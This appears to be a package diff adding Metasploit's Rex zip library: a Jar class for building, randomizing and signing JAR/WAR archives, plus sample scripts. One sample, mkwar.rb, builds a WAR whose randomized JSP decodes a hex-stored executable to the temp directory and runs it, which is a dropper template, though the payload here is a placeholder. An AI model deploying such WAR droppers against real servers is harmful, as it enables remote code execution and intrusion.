  462. data/lib/rex/ui/progress_tracker.rb +97 -0
  463. data/lib/rex/ui/subscriber.rb +160 -0
  464. data/lib/rex/ui/text/color.rb +98 -0
  465. data/lib/rex/ui/text/dispatcher_shell.rb +538 -0
  466. data/lib/rex/ui/text/input.rb +119 -0
  467. data/lib/rex/ui/text/input/buffer.rb +79 -0
  468. data/lib/rex/ui/text/input/readline.rb +129 -0
  469. data/lib/rex/ui/text/input/socket.rb +96 -0
  470. data/lib/rex/ui/text/input/stdio.rb +46 -0
  471. data/lib/rex/ui/text/irb_shell.rb +62 -0
  472. data/lib/rex/ui/text/output.rb +86 -0
  473. data/lib/rex/ui/text/output/buffer.rb +62 -0
  474. data/lib/rex/ui/text/output/buffer/stdout.rb +26 -0
  475. data/lib/rex/ui/text/output/file.rb +44 -0
  476. data/lib/rex/ui/text/output/socket.rb +44 -0
  477. data/lib/rex/ui/text/output/stdio.rb +53 -0
  478. data/lib/rex/ui/text/output/tee.rb +56 -0
  479. data/lib/rex/ui/text/progress_tracker.rb +57 -0
  480. data/lib/rex/ui/text/shell.rb +403 -0
  481. data/lib/rex/ui/text/table.rb +346 -0
  482. data/lib/rex/zip.rb +96 -0
  483. data/lib/rex/zip/archive.rb +130 -0
  484. data/lib/rex/zip/blocks.rb +184 -0
  485. data/lib/rex/zip/entry.rb +122 -0
  486. data/lib/rex/zip/jar.rb +283 -0
  487. data/lib/rex/zip/samples/comment.rb +32 -0
  488. data/lib/rex/zip/samples/mkwar.rb +138 -0
  489. data/lib/rex/zip/samples/mkzip.rb +19 -0
  490. data/lib/rex/zip/samples/recursive.rb +58 -0
  491. metadata +536 -0
@@ -0,0 +1,283 @@
1
+ # -*- coding: binary -*-
2
+
3
+ require 'rex/zip/archive'
4
+
5
+ module Rex
6
+ module Zip
7
+
8
+ #
9
+ # A Jar is a zip archive containing Java class files and a MANIFEST.MF listing
10
+ # those classes. Several variations exist based on the same idea of class
11
+ # files inside a zip, most notably:
12
+ # - WAR files store XML files, Java classes, JSPs and other stuff for
13
+ # servlet-based webservers (e.g.: Tomcat and Glassfish)
14
+ # - APK files are Android Package files
15
+ #
16
+ class Jar < Archive
17
+ attr_accessor :manifest
18
+ # @!attribute [rw] substitutions
19
+ # The substitutions to apply when randomizing. Randomization is designed to
20
+ # be used in packages and/or classes names.
21
+ #
22
+ # @return [Hash]
23
+ attr_accessor :substitutions
24
+
25
+ def initialize
26
+ @substitutions = {}
27
+ super
28
+ end
29
+
30
+ #
31
+ # Create a MANIFEST.MF file based on the current Archive#entries.
32
+ #
33
+ # See http://download.oracle.com/javase/1.4.2/docs/guide/jar/jar.html for
34
+ # some explanation of the format.
35
+ #
36
+ # Example MANIFEST.MF
37
+ # Manifest-Version: 1.0
38
+ # Main-Class: metasploit.Payload
39
+ #
40
+ # Name: metasploit.dat
41
+ # SHA1-Digest: WJ7cUVYUryLKfQFmH80/ADfKmwM=
42
+ #
43
+ # Name: metasploit/Payload.class
44
+ # SHA1-Digest: KbAIMttBcLp1zCewA2ERYkcnRU8=
45
+ #
46
+ # The SHA1-Digest lines are optional unless the jar is signed (see #sign).
47
+ #
48
+ def build_manifest(opts={})
49
+ main_class = (opts[:main_class] ? randomize(opts[:main_class]) : nil)
50
+ app_name = (opts[:app_name] ? randomize(opts[:main_class]) : nil)
51
+ existing_manifest = nil
52
+
53
+ @manifest = "Manifest-Version: 1.0\r\n"
54
+ @manifest << "Main-Class: #{main_class}\r\n" if main_class
55
+ @manifest << "Application-Name: #{app_name}\r\n" if app_name
56
+ @manifest << "Permissions: all-permissions\r\n"
57
+ @manifest << "\r\n"
58
+ @entries.each { |e|
59
+ next if e.name =~ %r|/$|
60
+ if e.name == "META-INF/MANIFEST.MF"
61
+ existing_manifest = e
62
+ next
63
+ end
64
+ #next unless e.name =~ /\.class$/
65
+ @manifest << "Name: #{e.name}\r\n"
66
+ #@manifest << "SHA1-Digest: #{Digest::SHA1.base64digest(e.data)}\r\n"
67
+ @manifest << "\r\n"
68
+ }
69
+ if existing_manifest
70
+ existing_manifest.data = @manifest
71
+ else
72
+ add_file("META-INF/", '')
73
+ add_file("META-INF/MANIFEST.MF", @manifest)
74
+ end
75
+ end
76
+
77
+ def to_s
78
+ pack
79
+ end
80
+
81
+ #
82
+ # Length of the *compressed* blob
83
+ #
84
+ def length
85
+ pack.length
86
+ end
87
+
88
+ #
89
+ # Add multiple files from an array
90
+ #
91
+ # +files+ should be structured like so:
92
+ # [
93
+ # [ "path", "to", "file1" ],
94
+ # [ "path", "to", "file2" ]
95
+ # ]
96
+ # and +path+ should be the location on the file system to find the files to
97
+ # add. +base_dir+ will be prepended to the path inside the jar.
98
+ #
99
+ # Example:
100
+ # war = Rex::Zip::Jar.new
101
+ # war.add_file("WEB-INF/", '')
102
+ # war.add_file("WEB-INF/web.xml", web_xml)
103
+ # war.add_file("WEB-INF/classes/", '')
104
+ # files = [
105
+ # [ "servlet", "examples", "HelloWorld.class" ],
106
+ # [ "Foo.class" ],
107
+ # [ "servlet", "Bar.class" ],
108
+ # ]
109
+ # war.add_files(files, "./class_files/", "WEB-INF/classes/")
110
+ #
111
+ # The above code would create a jar with the following structure from files
112
+ # found in ./class_files/ :
113
+ #
114
+ # +- WEB-INF/
115
+ # +- web.xml
116
+ # +- classes/
117
+ # +- Foo.class
118
+ # +- servlet/
119
+ # +- Bar.class
120
+ # +- examples/
121
+ # +- HelloWorld.class
122
+ #
123
+ def add_files(files, path, base_dir="")
124
+ files.each do |file|
125
+ # Add all of the subdirectories if they don't already exist
126
+ 1.upto(file.length - 1) do |idx|
127
+ full = base_dir + file[0,idx].join("/") + "/"
128
+ if !(entries.map{|e|e.name}.include?(full))
129
+ add_file(full, '')
130
+ end
131
+ end
132
+ # Now add the actual file, grabbing data from the filesystem
133
+ fd = File.open(File.join( path, file ), "rb")
134
+ data = fd.read(fd.stat.size)
135
+ fd.close
136
+ add_file(base_dir + file.join("/"), data)
137
+ end
138
+ end
139
+
140
+ #
141
+ # Add a signature to this jar given a +key+ and a +cert+. +cert+ should be
142
+ # an instance of OpenSSL::X509::Certificate and +key+ is expected to be an
143
+ # instance of one of OpenSSL::PKey::DSA or OpenSSL::PKey::RSA.
144
+ #
145
+ # This method aims to create signature files compatible with the jarsigner
146
+ # tool destributed with the JDK and any JVM should accept the resulting
147
+ # jar.
148
+ #
149
+ # === Signature contents
150
+ # Modifies the META-INF/MANIFEST.MF entry adding SHA1-Digest attributes in
151
+ # each Name section. The signature consists of two files, a .SF and a .DSA
152
+ # (or .RSA if signing with an RSA key). The .SF file is similar to the
153
+ # manifest with Name sections but the SHA1-Digest is not optional. The
154
+ # difference is in what gets hashed for the SHA1-Digest line -- in the
155
+ # manifest, it is the file's contents, in the .SF, it is the file's section
156
+ # in the manifest (including trailing newline!). The .DSA/.RSA file is a
157
+ # PKCS7 signature of the .SF file contents.
158
+ #
159
+ # === Links
160
+ # A short description of the format:
161
+ # http://download.oracle.com/javase/1.4.2/docs/guide/jar/jar.html#Signed%20JAR%20File
162
+ #
163
+ # Some info on importing a private key into a keystore which is not
164
+ # directly supported by keytool for some unfathomable reason
165
+ # http://www.agentbob.info/agentbob/79-AB.html
166
+ #
167
+ def sign(key, cert, ca_certs=nil)
168
+ m = self.entries.find { |e| e.name == "META-INF/MANIFEST.MF" }
169
+ raise RuntimeError.new("Jar has no manifest") unless m
170
+
171
+ ca_certs ||= [ cert ]
172
+
173
+ new_manifest = ''
174
+ sigdata = "Signature-Version: 1.0\r\n"
175
+ sigdata << "Created-By: 1.6.0_18 (Sun Microsystems Inc.)\r\n"
176
+ sigdata << "\r\n"
177
+
178
+ # Grab the sections of the manifest
179
+ files = m.data.split(/\r?\n\r?\n/)
180
+ if files[0] =~ /Manifest-Version/
181
+ # keep the header as is
182
+ new_manifest << files[0]
183
+ new_manifest << "\r\n\r\n"
184
+ files = files[1,files.length]
185
+ end
186
+
187
+ # The file sections should now look like this:
188
+ # "Name: metasploit/Payload.class\r\nSHA1-Digest: KbAIMttBcLp1zCewA2ERYkcnRU8=\r\n\r\n"
189
+ files.each do |f|
190
+ next unless f =~ /Name: (.*)/
191
+ name = $1
192
+ e = self.entries.find { |e| e.name == name }
193
+ if e
194
+ digest = OpenSSL::Digest::SHA1.digest(e.data)
195
+ manifest_section = "Name: #{name}\r\n"
196
+ manifest_section << "SHA1-Digest: #{[digest].pack('m').strip}\r\n"
197
+ manifest_section << "\r\n"
198
+
199
+ manifest_digest = OpenSSL::Digest::SHA1.digest(manifest_section)
200
+
201
+ sigdata << "Name: #{name}\r\n"
202
+ sigdata << "SHA1-Digest: #{[manifest_digest].pack('m')}\r\n"
203
+ new_manifest << manifest_section
204
+ end
205
+ end
206
+
207
+ # Now overwrite with the new manifest
208
+ m.data = new_manifest
209
+
210
+ flags = 0
211
+ flags |= OpenSSL::PKCS7::BINARY
212
+ flags |= OpenSSL::PKCS7::DETACHED
213
+ # SMIME and ATTRs are technically valid in the signature but they
214
+ # both screw up the java verifier, so don't include them.
215
+ flags |= OpenSSL::PKCS7::NOSMIMECAP
216
+ flags |= OpenSSL::PKCS7::NOATTR
217
+
218
+ signature = OpenSSL::PKCS7.sign(cert, key, sigdata, ca_certs, flags)
219
+ sigalg = case key
220
+ when OpenSSL::PKey::RSA; "RSA"
221
+ when OpenSSL::PKey::DSA; "DSA"
222
+ # Don't really know what to do if it's not DSA or RSA. Can
223
+ # OpenSSL::PKCS7 actually sign stuff with it in that case?
224
+ # Regardless, the java spec says signatures can only be RSA,
225
+ # DSA, or PGP, so just assume it's PGP and hope for the best
226
+ else; "PGP"
227
+ end
228
+
229
+ # SIGNFILE is the default name in documentation. MYKEY is probably
230
+ # more common, though because that's what keytool defaults to. We
231
+ # can probably randomize this with no ill effects.
232
+ add_file("META-INF/SIGNFILE.SF", sigdata)
233
+ add_file("META-INF/SIGNFILE.#{sigalg}", signature.to_der)
234
+
235
+ return true
236
+ end
237
+
238
+ # Adds a file to the JAR, randomizing the file name
239
+ # and the contents.
240
+ #
241
+ # @see Rex::Zip::Archive#add_file
242
+ def add_file(fname, fdata=nil, xtra=nil, comment=nil)
243
+ super(randomize(fname), randomize(fdata), xtra, comment)
244
+ end
245
+
246
+ # Adds a substitution to have into account when randomizing. Substitutions
247
+ # must be added immediately after {#initialize}.
248
+ #
249
+ # @param str [String] String to substitute. It's designed to randomize
250
+ # class and/or package names.
251
+ # @param bad [String] String containing bad characters to avoid when
252
+ # applying substitutions.
253
+ # @return [String] The substitution which will be used when randomizing.
254
+ def add_sub(str, bad = '')
255
+ if @substitutions.key?(str)
256
+ return @substitutions[str]
257
+ end
258
+
259
+ @substitutions[str] = Rex::Text.rand_text_alpha(str.length, bad)
260
+ end
261
+
262
+ # Randomizes an input by applying the `substitutions` available.
263
+ #
264
+ # @param str [String] String to randomize.
265
+ # @return [String] The input `str` with all the possible `substitutions`
266
+ # applied.
267
+ def randomize(str)
268
+ return str if str.nil?
269
+
270
+ random = str
271
+
272
+ @substitutions.each do |orig, subs|
273
+ random = str.gsub(orig, subs)
274
+ end
275
+
276
+ random
277
+ end
278
+
279
+ end
280
+
281
+ end
282
+ end
283
+
@@ -0,0 +1,32 @@
1
+ # -*- coding: binary -*-
2
+
3
+ #
4
+ # Create a zip file with comments!
5
+ #
6
+
7
+ msfbase = __FILE__
8
+ while File.symlink?(msfbase)
9
+ msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
10
+ end
11
+ inc = File.dirname(msfbase) + '/../../..'
12
+ $:.unshift(inc)
13
+
14
+ require 'rex/zip'
15
+
16
+ # example usage
17
+ zip = Rex::Zip::Archive.new
18
+ zip.add_file("elite.txt", "A" * 1024, nil, %Q<
19
+ +---------------+
20
+ | file comment! |
21
+ +---------------+
22
+ >)
23
+ zip.set_comment(%Q<
24
+
25
+ +------------------------------------------+
26
+ | |
27
+ | Hello! This is the Zip Archive comment! |
28
+ | |
29
+ +------------------------------------------+
30
+
31
+ >)
32
+ zip.save_to("lolz.zip")
@@ -0,0 +1,138 @@
1
+ # -*- coding: binary -*-
2
+
3
+ #
4
+ # Create a WAR archive!
5
+ #
6
+
7
+ msfbase = __FILE__
8
+ while File.symlink?(msfbase)
9
+ msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
10
+ end
11
+ inc = File.dirname(msfbase) + '/../../..'
12
+ $:.unshift(inc)
13
+
14
+
15
+ require 'rex/zip'
16
+
17
+
18
+ def rand_text_alpha(len)
19
+ buff = ""
20
+
21
+ foo = []
22
+ foo += ('A' .. 'Z').to_a
23
+ foo += ('a' .. 'z').to_a
24
+
25
+ # Generate a buffer from the remaining bytes
26
+ if foo.length >= 256
27
+ len.times { buff << Kernel.rand(256) }
28
+ else
29
+ len.times { buff << foo[ rand(foo.length) ] }
30
+ end
31
+
32
+ return buff
33
+ end
34
+
35
+
36
+ exe = "exe " * 1024
37
+ var_payload = "var_payload"
38
+ var_name = "var_name"
39
+
40
+
41
+ zip = Rex::Zip::Archive.new
42
+
43
+ # begin meta-inf/
44
+ minf = [ 0xcafe, 0x0003 ].pack('Vv')
45
+ zip.add_file('META-INF/', nil, minf)
46
+ # end meta-inf/
47
+
48
+ # begin meta-inf/manifest.mf
49
+ mfraw = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
50
+ zip.add_file('META-INF/MANIFEST.MF', mfraw)
51
+ # end meta-inf/manifest.mf
52
+
53
+ # begin web-inf/
54
+ zip.add_file('WEB-INF/', '')
55
+ # end web-inf/
56
+
57
+ # begin web-inf/web.xml
58
+ webxmlraw = %q{<?xml version="1.0" ?>
59
+ <web-app xmlns="http://java.sun.com/xml/ns/j2ee"
60
+ xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
61
+ xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
62
+ http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
63
+ version="2.4">
64
+ <servlet>
65
+ <servlet-name>NAME</servlet-name>
66
+ <jsp-file>/PAYLOAD.jsp</jsp-file>
67
+ </servlet>
68
+ </web-app>
69
+ }
70
+
71
+ webxmlraw.gsub!(/NAME/, var_name)
72
+ webxmlraw.gsub!(/PAYLOAD/, var_payload)
73
+
74
+ zip.add_file('WEB-INF/web.xml', webxmlraw)
75
+ # end web-inf/web.xml
76
+
77
+ # begin <payload>.jsp
78
+ var_hexpath = rand_text_alpha(rand(8)+8)
79
+ var_exepath = rand_text_alpha(rand(8)+8)
80
+ var_data = rand_text_alpha(rand(8)+8)
81
+ var_inputstream = rand_text_alpha(rand(8)+8)
82
+ var_outputstream = rand_text_alpha(rand(8)+8)
83
+ var_numbytes = rand_text_alpha(rand(8)+8)
84
+ var_bytearray = rand_text_alpha(rand(8)+8)
85
+ var_bytes = rand_text_alpha(rand(8)+8)
86
+ var_counter = rand_text_alpha(rand(8)+8)
87
+ var_char1 = rand_text_alpha(rand(8)+8)
88
+ var_char2 = rand_text_alpha(rand(8)+8)
89
+ var_comb = rand_text_alpha(rand(8)+8)
90
+ var_exe = rand_text_alpha(rand(8)+8)
91
+ var_hexfile = rand_text_alpha(rand(8)+8)
92
+ var_proc = rand_text_alpha(rand(8)+8)
93
+
94
+ jspraw = "<%@ page import=\"java.io.*\" %>\n"
95
+ jspraw << "<%\n"
96
+ jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"#{var_hexfile}.txt\";\n"
97
+ jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"
98
+ jspraw << "String #{var_data} = \"\";\n"
99
+
100
+ jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"
101
+ jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"
102
+ jspraw << "}\n"
103
+
104
+ jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"
105
+ jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"
106
+
107
+ jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"
108
+ jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"
109
+ jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"
110
+ jspraw << "#{var_inputstream}.close();\n"
111
+
112
+ jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"
113
+ jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"
114
+ jspraw << "{\n"
115
+ jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"
116
+ jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"
117
+ jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"
118
+ jspraw << "#{var_comb} <<= 4;\n"
119
+ jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"
120
+ jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"
121
+ jspraw << "}\n"
122
+
123
+ jspraw << "#{var_outputstream}.write(#{var_bytes});\n"
124
+ jspraw << "#{var_outputstream}.close();\n"
125
+
126
+ jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
127
+ jspraw << "%>\n"
128
+
129
+ zip.add_file("#{var_payload}.jsp", jspraw)
130
+ # end <payload>.jsp
131
+
132
+ # begin <payload>.txt
133
+ payloadraw = exe.unpack('H*')[0]
134
+ zip.add_file("#{var_hexfile}.txt", payloadraw)
135
+ # end <payload>.txt
136
+
137
+
138
+ zip.save_to("test.war")